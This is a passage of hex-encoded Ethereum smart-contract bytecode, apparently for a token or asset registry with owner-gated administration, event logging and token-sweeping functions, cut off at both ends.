0505050611ad8565b6040518082815260200191505060405180910390f35b34801561036c57600080fd5b506103af6004803603810190808035600019169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b7a565b6040518082815260200191505060405180910390f35b3480156103d157600080fd5b506104a3600480360381019080803560001916906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803560ff169060200190929190803515159060200190929190505050611cf1565b6040518082815260200191505060405180910390f35b3480156104c557600080fd5b506104fa600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d0e565b6040518082815260200191505060405180910390f35b34801561051c57600080fd5b50610551600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d57565b6040518082815260200191505060405180910390f35b34801561057357600080fd5b506105e0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035600019169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e07565b6040518082815260200191505060405180910390f35b34801561060257600080fd5b506106d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035600019169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ea1565b6040518082815260200191505060405180910390f35b3480156106f757600080fd5b5061075a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035600019169060200190929190505050611f47565b6040518082815260200191505060405180910390f35b34801561077c57600080fd5b5061079b60048036038101908080359060200190929190505050611f6d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107e957600080fd5b5061080c6004803603810190808035600019169060200190929190505050611fab565b604051808215151515815260200191505060405180910390f35b34801561083257600080fd5b5061083b611fd6565b604051808215151515815260200191505060405180910390f35b34801561086157600080fd5b506108a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080356000191690602001909291905050506120c7565b6040518082815260200191505060405180910390f35b3480156108c657600080fd5b50610979600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560001916906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506120e3565b005b34801561098757600080fd5b506109bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121c1565b604051808215151515815260200191505060405180910390f35b3480156109e257600080fd5b50610a95600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035600019169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061228c565b6040518082815260200191505060405180910390f35b348015610ab757600080fd5b50610ac0612331565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b0e57600080fd5b50610b3b600480360381019080803590602001909291908035600019169060200190929190505050612357565b6040518082815260200191505060405180910390f35b348015610b5d57600080fd5b50610ba0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035600019169060200190929190505050612394565b6040518082815260200191505060405180910390f35b348015610bc257600080fd5b50610c17600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061250e565b6040518082815260200191505060405180910390f35b348015610c3957600080fd5b50610d2b600480360381019080803560001916906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803560ff169060200190929190803515159060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127ad565b6040518082815260200191505060405180910390f35b348015610d4d57600080fd5b50610da2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b49565b604051808215151515815260200191505060405180910390f35b348015610dc857600080fd5b50610de760048036038101908080359060200190929190505050612bbc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610e3557600080fd5b50610e586004803603810190808035600019169060200190929190505050612bfc565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610e98578082015181840152602081019050610e7d565b50505050905090810190601f168015610ec55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610edf57600080fd5b50610f026004803603810190808035600019169060200190929190505050612cbc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610f5057600080fd5b50610f59612cef565b6040518082815260200191505060405180910390f35b348015610f7b57600080fd5b50610f84612cf5565b6040518082815260200191505060405180910390f35b348015610fa657600080fd5b50610faf612e4a565b005b348015610fbd57600080fd5b506110006004803603810190808035600019169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612eba565b604051808215151515815260200191505060405180910390f35b34801561102657600080fd5b506110496004803603810190808035600019169060200190929190505050612f34565b604051808781526020018681526020018060200180602001851515151581526020018460ff1660ff168152602001838103835287818151815260200191508051906020019080838360005b838110156110af578082015181840152602081019050611094565b50505050905090810190601f1680156110dc5780820380516001836020036101000a031916815260200191505b50838103825286818151815260200191508051906020019080838360005b838110156111155780820151818401526020810190506110fa565b50505050905090810190601f1680156111425780820380516001836020036101000a031916815260200191505b509850505050505050505060405180910390f35b34801561116257600080fd5b5061116b6130ba565b6040518082815260200191505060405180910390f35b34801561118d57600080fd5b506111c2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061318d565b6040518082815260200191505060405180910390f35b3480156111e457600080fd5b50611247600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035600019169060200190929190505050613246565b005b34801561125557600080fd5b506112a2600480360381019080803560001916906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506132aa565b005b3480156112b057600080fd5b506112d36004803603810190808035600019169060200190929190505050613302565b6040518082815260200191505060405180910390f35b3480156112f557600080fd5b50611318600480360381019080803560001916906020019092919050505061332a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561135857808201518184015260208101905061133d565b50505050905090810190601f1680156113855780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561139f57600080fd5b506113c260048036038101908080356000191690602001909291905050506133ea565b604051808215151515815260200191505060405180910390f35b3480156113e857600080fd5b50611435600480360381019080803560001916906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061341f565b005b34801561144357600080fd5b50611470600480360381019080803560001916906020019092919080359060200190929190505050613477565b6040518082815260200191505060405180910390f35b34801561149257600080fd5b506114c7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061366d565b604051808215151515815260200191505060405180910390f35b3480156114ed57600080fd5b50611530600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560001916906020019092919050505061368d565b604051808215151515815260200191505060405180910390f35b34801561155657600080fd5b506115756004803603810190808035906020019092919050505061371a565b60405180826000191660001916815260200191505060405180910390f35b34801561159f57600080fd5b506115f2600480360381019080803590602001908201803590602001919091929391929390803590602001908201803590602001919091929391929390803560001916906020019092919050505061373d565b604051808381526020018281526020019250505060405180910390f35b34801561161b57600080fd5b50611624613a48565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561167257600080fd5b506116df600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560001916906020019092919080359060200190929190505050613a6d565b005b3480156116ed57600080fd5b5061176560048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613add565b6040518082815260200191505060405180910390f35b34801561178757600080fd5b506117aa6004803603810190808035600019169060200190929190505050613d3d565b604051808260ff1660ff16815260200191505060405180910390f35b3480156117d257600080fd5b506117f160048036038101908080359060200190929190505050613d72565b005b3480156117ff57600080fd5b5061182c600480360381019080803560001916906020019092919080359060200190929190505050613dac565b6040518082815260200191505060405180910390f35b34801561184e57600080fd5b50611891600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035600019169060200190929190505050613fd5565b604051808215151515815260200191505060405180910390f35b3480156118b757600080fd5b5061192c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614019565b005b34801561193a57600080fd5b5061197d6004803603810190808035600019169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506140af565b6040518082815260200191505060405180910390f35b34801561199f57600080fd5b506119a861421d565b6040518082815260200191505060405180910390f35b3480156119ca57600080fd5b506119d361422a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015611a2157600080fd5b50611a646004803603810190808035600019169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614250565b6040518082815260200191505060405180910390f35b60006003600060066000856000191660001916815260200190815260200160002060000154815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60003373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611b755781600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600190505b919050565b60008083611b88338261368d565b15611ce957611b9684614426565b91506001600660008760001916600019168152602001908152602001600020600601600084815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9612f72600086886040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182600019166000191681526020019350505050600060405180830381600087803b158015611ccc57600080fd5b505af1158015611ce0573d6000803e3d6000fd5b50505050600192505b505092915050565b6000611d02878787878787336127ad565b90509695505050505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60003373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611e0257600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff0219169055600190505b919050565b6000823373ffffffffffffffffffffffffffffffffffffffff1660076000836000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611e9857611e95611e8587614426565b8686611e9087614426565b614528565b91505b50949350505050565b6000833373ffffffffffffffffffffffffffffffffffffffff1660076000836000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611f3c57611f39611f1f89611d0e565b611f2889614426565b888888611f3489611d0e565b6148f9565b91505b509695505050505050565b6000611f64611f5585611d0e565b611f5e85611d0e565b84614bff565b90509392505050565b60036020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081565b6000806006600084600019166000191681526020019081526020016000206000015414159050919050565b60003373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561203857600090506120c4565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600190505b90565b60006120db6120d584611d0e565b83612357565b905092915050565b82600019168473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8f1b83868d2ecc962fd90cfee71c9c52455fe10940937bc7571d90ba404c5c3b85856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561217f578082015181840152602081019050612164565b50505050905090810190601f1680156121ac5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a45050505050565b60003373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156122875760008273ffffffffffffffffffffffffffffffffffffffff1614156122405760009050612286565b81600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600190505b5b919050565b6000833373ffffffffffffffffffffffffffffffffffffffff1660076000836000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156123275761232461230a84611d0e565b61231389614426565b88888861231f89611d0e565b6148f9565b91505b5095945050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008360001916600019168152602001908152602001600020600501600084815260200190815260200160002060000154905092915050565b60003373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061243a5750600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561250857600060076000846000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156124a857600162013880019050612507565b8260076000846000191660001916815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600190505b5b92915050565b600080833361251d8282612b49565b156127a4573373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156127a3576003600061258488611d0e565b815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16925084600360006125c689611d0e565b815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061261e86611d0e565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ea14457e8487336040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019350505050600060405180830381600087803b15801561278657600080fd5b505af115801561279a573d6000803e3d6000fd5b50505050600193505b5b50505092915050565b60008060003373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806128565750600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b3c57600089148015612869575084155b156128845761287d60076201388001614c4e565b9250612b3b565b61288d8a611fab565b156128a8576128a160066201388001614c4e565b9250612b3b565b6128b184614426565b91503373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16146128f4576128ef33614426565b6128f6565b815b905060058a908060018154018082558091505090600182039060005260206000200160009091929091909150906000191690555060c0604051908101604052808281526020018a815260200189815260200188815260200186151581526020018760ff16815250600660008c60001916600019168152602001908152602001600020600082015181600001556020820151816001015560408201518160020190805190602001906129a8929190614fd0565b5060608201518160030190805190602001906129c5929190614fd0565b5060808201518160040160006101000a81548160ff02191690831515021790555060a08201518160040160016101000a81548160ff021916908360ff16021790555090505088600660008c60001916600019168152602001908152602001600020600501600084815260200190815260200160002060000181905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663abafaa168b8b612a8a86612bbc565b6040518463ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018084600019166000191681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019350505050600060405180830381600087803b158015612b1e57600080fd5b505af1158015612b32573d6000803e3d6000fd5b50505050600192505b5b5050979650505050505050565b600060036000612b5885611d0e565b815260200190815260200160002060010160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b60006003600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60606006600083600019166000191681526020019081526020016000206002018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612cb05780601f10612c8557610100808354040283529160200191612cb0565b820191906000526020600020905b815481529060010190602001808311612c9357829003601f168201915b50505050509050919050565b60076020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b600080612d0133614426565b90506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415612d6e57612d6760026201388001614c4e565b9150612e46565b612d99336000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612b49565b15612db457612dad600c6201388001614c4e565b9150612e46565b60016003600083815260200190815260200160002060010160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600191505b5090565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612eb8573373ffffffffffffffffffffffffffffffffffffffff16ff5b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1614151515612ee357600080fd5b612eec83611d0e565b9050600660008560001916600019168152602001908152602001600020600601600082815260200190815260200160002060009054906101000a900460ff1691505092915050565b6006602052806000526040600020600091509050806000015490806001015490806002018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612fec5780601f10612fc157610100808354040283529160200191612fec565b820191906000526020600020905b815481529060010190602001808311612fcf57829003601f168201915b505050505090806003018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561308a5780601f1061305f5761010080835404028352916020019161308a565b820191906000526020600020905b81548152906001019060200180831161306d57829003601f168201915b5050505050908060040160009054906101000a900460ff16908060040160019054906101000a900460ff16905086565b6000336000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff166130e98282612b49565b15613188576000600360006130fd33611d0e565b815260200190815260200160002060010160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600192505b505090565b60003373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415613241576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600190505b919050565b80600019168273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f0de92ba2d86c482d7f947cc22a580692bb78d6277988023434905f44b8cd261a60405160405180910390a4505050565b8073ffffffffffffffffffffffffffffffffffffffff1683600019167fd03c2206e12a8eb3553d780874e1a7941b9c67f3a726ce6edb4a9fd65e25ec98846040518082815260200191505060405180910390a3505050565b6000600660008360001916600019168152602001908152602001600020600101549050919050565b60606006600083600019166000191681526020019081526020016000206003018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156133de5780601f106133b3576101008083540402835291602001916133de565b820191906000526020600020905b8154815290600101906020018083116133c157829003601f168201915b50505050509050919050565b600060066000836000191660001916815260200190815260200160002060040160009054906101000a900460ff169050919050565b8073ffffffffffffffffffffffffffffffffffffffff1683600019167fa4e2520a41c90422e37fc8ba7153c519a427a62ea5f494a14a218a7b9bceb6ca846040518082815260200191505060405180910390a3505050565b60008060008084141561349a5761349360036201388001614c4e565b9250613665565b60066000866000191660001916815260200190815260200160002091506134c033611d0e565b9050838260050160008381526020019081526020016000206000015410156134f8576134f1600a6201388001614c4e565b9250613665565b6135238483600501600084815260200190815260200160002060000154614d0190919063ffffffff16565b82600501600083815260200190815260200160002060000181905550613556848360010154614d0190919063ffffffff16565b8260010181905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c70bbc1386866135a785612bbc565b6040518463ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018084600019166000191681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019350505050600060405180830381600087803b15801561363b57600080fd5b505af115801561364f573d6000803e3d6000fd5b505050506136608160008688614d1a565b600192505b505092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b60008061369984611d0e565b90506136a483611fab565b80156137115750806006600085600019166000191681526020019081526020016000206000015414806137105750600660008460001916600019168152602001908152602001600020600601600082815260200190815260200160002060009054906101000a900460ff165b5b91505092915050565b60058181548110151561372957fe5b906000526020600020016000915090505481565b600080600080600080600087613753338261368d565b15613a38578a8a90508d8d905014151561376c57600080fd5b600060010289600019161415151561378357600080fd5b61378c33614426565b955060009450600093505b8c8c9050841080156137ab57506201adb05a115b15613a30578a8a8581811015156137be57fe5b90506020020135925060008314156137e5576137df60036201388001614c4e565b50613a25565b826137f0878b612357565b101561380b5761380560046201388001614c4e565b50613a25565b8c8c85818110151561381957fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561387e5761387860026201388001614c4e565b50613a25565b6138b18d8d86818110151561388f57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff16614426565b91506138bf8683858c614eb6565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663515c1457338f8f88818110151561390c57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff168c876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183600019166000191681526020018281526020018060200182810382526000815260200160200195505050505050600060405180830381600087803b158015613a0657600080fd5b505af1158015613a1a573d6000803e3d6000fd5b505050508460010194505b836001019350613797565b600185975097505b5050505050509550959350505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b81600019168373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f859b1cddb4da93a04541d62c27d7d83aa8173a1b37bbccd3c60ceb4ee19ee13e846040518082815260200191505060405180910390a450505050565b6000806000803373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415613d3457600092505b8551831015613d2f578583815181101515613b5457fe5b9060200190602002015191508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015613bfb57600080fd5b505af1158015613c0f573d6000803e3d6000fd5b505050506040513d6020811015613c2557600080fd5b81019080805190602001909291905050509050600081141515613d22578173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb86836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015613ce557600080fd5b505af1158015613cf9573d6000803e3d6000fd5b505050506040513d6020811015613d0f57600080fd5b8101908080519060200190929190505050505b8280600101935050613b3d565b600193505b50505092915050565b600060066000836000191660001916815260200190815260200160002060040160019054906101000a900460ff169050919050565b7f2e36a7093f25f22bd4cbdeb6040174c3ba4c5fe8f1abc04e7c3c48f26c7413e0816040518082815260200191505060405180910390a150565b600080600084613dbc338261368d565b15613fcc576000851415613de057613dd960036201388001614c4e565b9350613fcb565b60066000876000191660001916815260200190815260200160002092508260040160009054906101000a900460ff161515613e2b57613e2460086201388001614c4e565b9350613fcb565b8260010154858460010154011015613e5357613e4c60096201388001614c4e565b9350613fcb565b613e5c33611d0e565b9150613e898584600501600085815260200190815260200160002060000154614fb290919063ffffffff16565b83600501600084815260200190815260200160002060000181905550613ebc858460010154614fb290919063ffffffff16565b8360010181905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663abafaa168787613f0d86612bbc565b6040518463ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018084600019166000191681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019350505050600060405180830381600087803b158015613fa157600080fd5b505af1158015613fb5573d6000803e3d6000fd5b50505050613fc66000838789614d1a565b600193505b5b50505092915050565b6000613fe082611fab565b80156140115750613ff083611d0e565b60066000846000191660001916815260200190815260200160002060000154145b905092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f6c0468512076e943ed3d1c5aae1d6903c72162713d86aedd1381b3ac19e10cec83604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a3505050565b600080836140bd338261368d565b15614215576140cb84611d0e565b9150600660008660001916600019168152602001908152602001600020600601600083815260200190815260200160002060006101000a81549060ff0219169055600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9612f72856000886040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182600019166000191681526020019350505050600060405180830381600087803b1580156141f857600080fd5b505af115801561420c573d6000803e3d6000fd5b50505050600192505b505092915050565b6000600580549050905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600080856142613382613fd5565b1561441c5760008673ffffffffffffffffffffffffffffffffffffffff16141561429b57614294600b6201388001614c4e565b945061441b565b60066000886000191660001916815260200190815260200160002093506142c186614426565b925082846000015414156142e5576142de60026201388001614c4e565b945061441b565b6142f28460000154612bbc565b9150828460000181905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9612f7283888a6040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182600019166000191681526020019350505050600060405180830381600087803b1580156143fe57600080fd5b505af1158015614412573d6000803e3d6000fd5b50505050600194505b5b5050505092915050565b600080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081141561451f576002600081546001019190508190559050826003600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b80915050919050565b600061453383611fab565b151561454f57614548600e6201388001614c4e565b90506148f1565b8482141561456d5761456660026201388001614c4e565b90506148f1565b60006006600085600019166000191681526020019081526020016000206005016000848152602001908152602001600020600101600087815260200190815260200160002054141580156145c2575060008414155b156145dd576145d6600f6201388001614c4e565b90506148f1565b836006600085600019166000191681526020019081526020016000206005016000848152602001908152602001600020600101600087815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d54c8c8761466c84612bbc565b61467588612bbc565b86886040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018360001916600019168152602001828152602001945050505050600060405180830381600087803b15801561473e57600080fd5b505af1158015614752573d6000803e3d6000fd5b505050506000600760008560001916600019168152602001908